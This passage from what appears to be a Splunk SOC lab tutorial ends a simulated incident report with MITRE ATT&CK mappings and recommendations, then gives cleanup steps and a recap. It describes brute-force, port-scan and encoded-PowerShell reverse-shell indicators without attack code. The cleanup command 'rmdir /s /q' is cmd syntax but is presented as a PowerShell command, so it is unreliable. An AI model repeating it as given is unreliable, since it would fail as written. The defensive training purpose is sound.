- **Result:** 2 encoded PowerShell executions, one connecting to 192.168.1.10:4444 (likely reverse shell)
- **MITRE ATT&CK:** T1059.001 (Command and Scripting Interpreter: PowerShell)

## MITRE ATT&CK Mapping

| Technique ID | Technique Name | Finding |
|--------------|----------------|----------|
| T1110 | Brute Force | Finding 1 - SSH brute-force from 185.220.101.42 |
| T1046 | Network Service Discovery | Finding 2 - Port scan from 203.0.113.100 |
| T1059.001 | Command and Scripting Interpreter: PowerShell | Finding 3 - Encoded PowerShell on 10.0.2.10 |

## Recommendations

1. **Block external IPs:** Immediately block 185.220.101.42 and 203.0.113.100 at the perimeter firewall.
2. **Reset credentials:** Reset the 'admin' account password on 10.0.2.10 and enforce multi-factor authentication.
3. **Investigate endpoint:** Perform forensic analysis on 10.0.2.10 to determine the full scope of compromise, including examining the decoded PowerShell payloads and any files downloaded.
4. **Network isolation:** Consider isolating 10.0.2.10 from the network until the forensic investigation is complete.
5. **Monitor 192.168.1.10:** Investigate internal host 192.168.1.10 as a potential command-and-control or lateral movement target.

Secret mission

Build a SOC Dashboard

Your detection queries work. But a real SOC analyst needs to monitor all three attack patterns at a glance. Can you build a visual dashboard that shows brute-force spikes, port scan activity, and suspicious processes in one unified view?

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely on your local Windows machine. There are no cloud resources or ongoing costs to worry about.

Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

  • Splunk Enterprise installation (local, free 60-day trial then perpetual free license at 500 MB/day).
  • C:\SOCLab folder containing generate_attacks.py, security_events.jsonl, and incident_report.md.

Keep everything running

No action needed. Choose this if you are still actively building or want to continue exploring Splunk.

  • The Splunk free license never expires and allows 500 MB of indexing per day.
  • You can add more data sources and write additional detection rules at any time.
  • Your saved reports, dashboard, and ingested data remain accessible at http://localhost:8000.

Pause - I'll come back to this later

Stop the Splunk service to free up system resources. Your data and configuration stay intact for when you return.

  • Press the Windows key, type services.msc, and press Enter to open the Services control panel.
  • Find the Splunkd Service entry in the list.
  • Right-click it and select Stop.
  • To restart later, right-click the same service and select Start.

Delete - I don't want to use this again

Remove all project resources and the Splunk installation from your machine.

  • Open Settings on your Windows machine.
  • Go to Apps, then Installed apps.
  • Find Splunk Enterprise in the list, click the three-dot menu, and select Uninstall.
  • Follow the uninstall prompts to remove Splunk from your system.

Next, delete the project folder. Open PowerShell and run:

rmdir /s /q C:\SOCLab

This removes generate_attacks.py, security_events.jsonl, incident_report.md, and any other files in the C:\SOCLab folder.

Nice Work!

Nice Work!

You just built a fully functional mini SOC lab from scratch. You simulated real-world cyber attacks, detected them using Splunk, and documented your findings like a professional security analyst.

You've learned how to:

  • Generated realistic attack telemetry with Python and ingested it into Splunk Enterprise as a local SIEM, writing detection-ready security event logs in JSONL format.
  • Written 3 SPL detection queries that identify brute-force login attacks, port scans, and encoded PowerShell execution across ingested log data.
  • Produced a professional incident report with MITRE ATT&CK technique mappings (T1110, T1046, T1059.001), documenting attacker IPs, timelines, and recommended actions.
  • Secret Mission: Built a Splunk dashboard in Dashboard Studio with visualizations showing attack patterns over time, including timecharts, column charts, and event tables.

Ready to quiz yourself?